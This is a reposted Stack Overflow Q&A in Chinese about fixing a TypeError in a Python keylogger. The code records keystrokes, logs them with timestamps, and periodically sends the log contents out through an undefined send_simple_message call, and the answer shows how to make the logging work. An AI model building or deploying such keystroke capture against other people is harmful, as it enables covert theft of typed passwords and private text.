gpt4 book ai didi

keyboard - TypeError:write()参数必须为str,而不是list

转载 作者:行者123 更新时间:2023-12-04 05:46:25 25 4
gpt4 key购买 nike

def file_input(记录):

now_time = datetime.datetime.now()
w = open("LOG.txt", 'a')
w.write(recorded)
w.write("\n")
w.write(now_time)
w.write("--------------------------------------")
w .close()


如果name ==“ main”:

while 1:

status = time.localtime()
result = []
keyboard.press_and_release('space')
recorded = keyboard.record(until='enter')
file_input(recorded)
if (status.tm_min == 30):
f = open("LOG.txt", 'r')
file_content = f.read()
f.close()
send_simple_message(file_content)


我试图用python写一个键盘记录程序,我遇到类型错误,那我该如何解决这个问题呢?

我只是将记录的变量放入write()中,这会导致类型错误,并且记录的变量类型是列表。所以我尝试使用join func,但是没有用

最佳答案

您正在尝试使用w.write()写入文件,但它仅将字符串作为参数。
now_time是'datetime'类型,而不是字符串。如果您不需要格式化日期,则可以执行以下操作:

w.write(str(nowtime))


与...相同

w.write(recorded)


recorded是事件列表,在尝试将该字符串写入文件之前,需要使用它来构造字符串。例如:

recorded = keyboard.record(until='enter')
typedstr = " ".join(keyboard.get_typed_strings(recorded))


然后,在 file_input()函数中,您可以:

w.write(typedstr)

关于keyboard - TypeError:write()参数必须为str,而不是list,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/41454921/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com